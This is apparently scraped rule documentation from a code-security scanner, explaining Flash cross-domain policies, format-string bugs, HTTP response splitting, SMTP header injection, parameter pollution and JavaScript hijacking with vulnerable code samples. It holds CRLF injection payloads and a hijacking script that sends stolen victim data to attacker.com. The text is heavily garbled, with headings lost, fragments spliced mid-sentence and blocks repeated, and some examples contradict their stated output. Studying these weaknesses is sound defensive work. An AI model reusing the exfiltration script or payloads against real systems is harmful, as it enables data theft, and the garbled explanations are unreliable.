ENABLEDEBUGGER
and ENABLEDEBUGGER2
enables support for remote debugging and also contains a poorly salted MD5 password hash. The tag does not offer any security guarantees and can be easily circumvented by using any hex editor tool. Not only is the remote debugging protection easily bypassed, the password the developer used to secure the file is easily recoverable. Flash uses a 16-bit salt added to the password and applies the MD5 hash algorithm to it. This is a weak salt and the password can be recovered using password cracking programs.crossdomain.xml
configuration file. However, caution should be taken when changing the settings because an overly permissive cross-domain policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay, and other attacks.
flash.system.Security.allowDomain("*");
*
as the argument to allowDomain()
indicates that the application's data is accessible to other SWF applications from any domain.crossdomain.xml
configuration file. Starting with Flash Player 9,0,124,0, Adobe also introduced the capability to define which custom headers Flash Player can send across domains. However, caution should be taken when defining these settings because an overly permissive custom headers policy, when applied together with the overly permissive cross-domain policy, will allow a malicious application to send headers of their choosing to the target application, potentially leading to a variety of attacks or causing errors in the execution of the application that does not know how to handle received headers.
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
*
as the value of the headers
attribute indicates that any header will be sent across domains.crossdomain.xml
configuration file. However, caution should be taken when deciding who can influence the settings because an overly permissive cross-domain policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay, and other attacks. Policy restrictions bypass vulnerabilities occur when:Example 2: The following code uses the value of one of the parameters to the loaded SWF file to define the list of trusted domains.
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
crossdomain.xml
configuration file. However, caution should be taken when defining these settings because HTTP loaded SWF applications are subject to man-in-the-middle attacks, and thus should not be trusted.allowInsecureDomain()
, which turns off the restriction that prevents HTTP loaded SWF applications from accessing the data of HTTPS loaded SWF applications.
flash.system.Security.allowInsecureDomain("*");
sprintf()
, FormatMessageW()
, or syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n
formatting directive, the attacker may write to the stack, causing snprintf()
to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
function is sometimes used as follows:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
is a format string, any formatting directives included in cmdBuf
are interpreted as described in Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
, or NSString.stringWithFormat
Example 1: The following code utilizes a command line argument as a format string in NSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
function is sometimes used as follows:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
is a format string, any formatting directives included in cmdBuf
are interpreted as described in Example 1
.syslog()
:Example 4: Apple core classes provide interesting avenues for exploiting format string vulnerabilities.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
function is sometimes used as follows:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.f
from a float using a %d
format specifier.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.
@HttpGet
global static void doGet() {
...
Map<String, String> params = ApexPages.currentPage().getParameters();
RestResponse res = RestContext.response;
res.addHeader(params.get('name'), params.get('value'));
...
}
author
and Jane Smith
, the HTTP response including this header might take the following form:
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
and bar
, then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
HttpResponse.AddHeader()
method. If you are using the latest .NET framework that prevents setting headers with new line characters, then your application might not be vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
Author.Text
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
author
, from an HTML form and sets it in a cookie header of an HTTP response.
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(AUTHOR)
...
END-EXEC.
EXEC CICS
WEB WRITE
HTTPHEADER(COOKIE)
VALUE(AUTHOR)
...
END-EXEC.
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from a web form and sets it in a cookie header of an HTTP response.
<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1/1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.
final server = await HttpServer.bind('localhost', 18081);
server.listen((request) async {
final headers = request.headers;
final contentType = headers.value('content-type');
final client = HttpClient();
final clientRequest = await client.getUrl(Uri.parse('https://example.com'));
clientRequest.headers.add('Content-Type', contentType as Object);
});
author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
author
, from an HTTP request and sets it in a cookie header of an HTTP response.
author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.name
and value
may be controlled by an attacker. The code sets an HTTP header whose name and value may be controlled by an attacker:
...
NSURLSessionConfiguration * config = [[NSURLSessionConfiguration alloc] init];
NSMutableDictionary *dict = @{};
[dict setObject:value forKey:name];
[config setHTTPAdditionalHeaders:dict];
...
author
and Jane Smith
, the HTTP response including this header might take the following form:
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
and bar
, then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
header()
function. If your version of PHP prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.
<?php
$location = $_GET['some_location'];
...
header("location: $location");
?>
HTTP/1.1 200 OK
...
location: index.html
...
some_location
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "index.html\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
-- Assume QUERY_STRING looks like AUTHOR_PARAM=Name
author := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 14);
OWA_UTIL.mime_header('text/html', false);
OWA_COOKE.send('author', author);
OWA_UTIL.http_header_close;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
location = req.field('some_location')
...
response.addHeader("location",location)
HTTP/1.1 200 OK
...
location: index.html
...
some_location
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "index.html\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and uses this in a get request to another part of the site.
author = req.params[AUTHOR_PARAM]
http = Net::HTTP.new(URI("http://www.mysite.com"))
http.post('/index.php', "author=#{author}")
POST /index.php HTTP/1.1
Host: www.mysite.com
author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nPOST /index.php HTTP/1.1\r\n...", then the HTTP response would be split into two responses of the following form:
POST /index.php HTTP/1.1
Host: www.mysite.com
author=Wiley Hacker
POST /index.php HTTP/1.1
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.name
and value
may be controlled by an attacker. The code sets an HTTP header whose name and value may be controlled by an attacker:
...
var headers = []
headers[name] = value
let config = NSURLSessionConfiguration.backgroundSessionConfigurationWithIdentifier("com.acme")
config.HTTPAdditionalHeaders = headers
...
author
and Jane Smith
, the HTTP response including this header might take the following form:
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
and bar
, then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
Cookie cookie = new Cookie('author', author, '/', -1, false);
ApexPages.currentPage().setCookies(new Cookie[] {cookie});
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
author
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response is split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
Example 1
to the Android platform.Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.
...
CookieManager webCookieManager = CookieManager.getInstance();
String author = this.getIntent().getExtras().getString(AUTHOR_PARAM);
String setCookie = "author=" + author + "; max-age=" + cookieExpiration;
webCookieManager.setCookie(url, setCookie);
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
<?php
$author = $_GET['AUTHOR_PARAM'];
...
header("author: $author");
?>
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
location = req.field('some_location')
...
response.addHeader("location",location)
HTTP/1.1 200 OK
...
location: index.html
...
some_location
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "index.html\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.IllegalArgumentException
if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.author
, from an HTTP request and sets it in a cookie header of an HTTP response.
...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
CC
or BCC
that they can use to leak the mail contents to themselves or use the mail server as a spam bot.CC
header with a list of email addresses to spam anonymously because the email is sent from the victim's server.
func handler(w http.ResponseWriter, r *http.Request) {
subject := r.FormValue("subject")
body := r.FormValue("body")
auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
to := []string{"recipient@example.net"}
msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
if err != nil {
log.Fatal(err)
}
}
...
subject: [Contact us query] Page not working
...
subject
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
or BCC
that they can use to leak the mail contents to themselves or use the mail server as a spam bot.CC
header with a list of email addresses to spam anonymously since the email will be sent from the victim server.
String subject = request.getParameter("subject");
String body = request.getParameter("body");
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("webform@acme.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("support@acme.com"));
message.setSubject("[Contact us query] " + subject);
message.setText(body);
Transport.send(message);
...
subject: [Contact us query] Page not working
...
subject
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
or BCC
that they can use to leak the mail contents to themselves or use the mail server as a spam bot.CC
header with a list of email addresses to spam anonymously since the email will be sent from the victim server.
$subject = $_GET['subject'];
$body = $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);
...
subject: [Contact us query] Page not working
...
subject
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
or BCC
that they can use to leak the mail contents to themselves or use the mail server as a spam bot.CC
header with a list of email addresses to spam anonymously since the email will be sent from the victim server.
body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
"subject: [Contact us query] " + subject,
"to: support@acme.com",
"mime-version: 1.0",
"content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)
...
subject: [Contact us query] Page not working
...
subject
does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
such as en&poll_id=1
, and then the attacker may be able to change the poll_id
at will.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
such as en&poll_id=1
, and then the attacker will be able to change the poll_id
at will.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
specified, but they've added an additional name=alice&
, and if this is being used on a server that takes the first occurrence, then this may impersonate alice
in order to get further information regarding her account.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
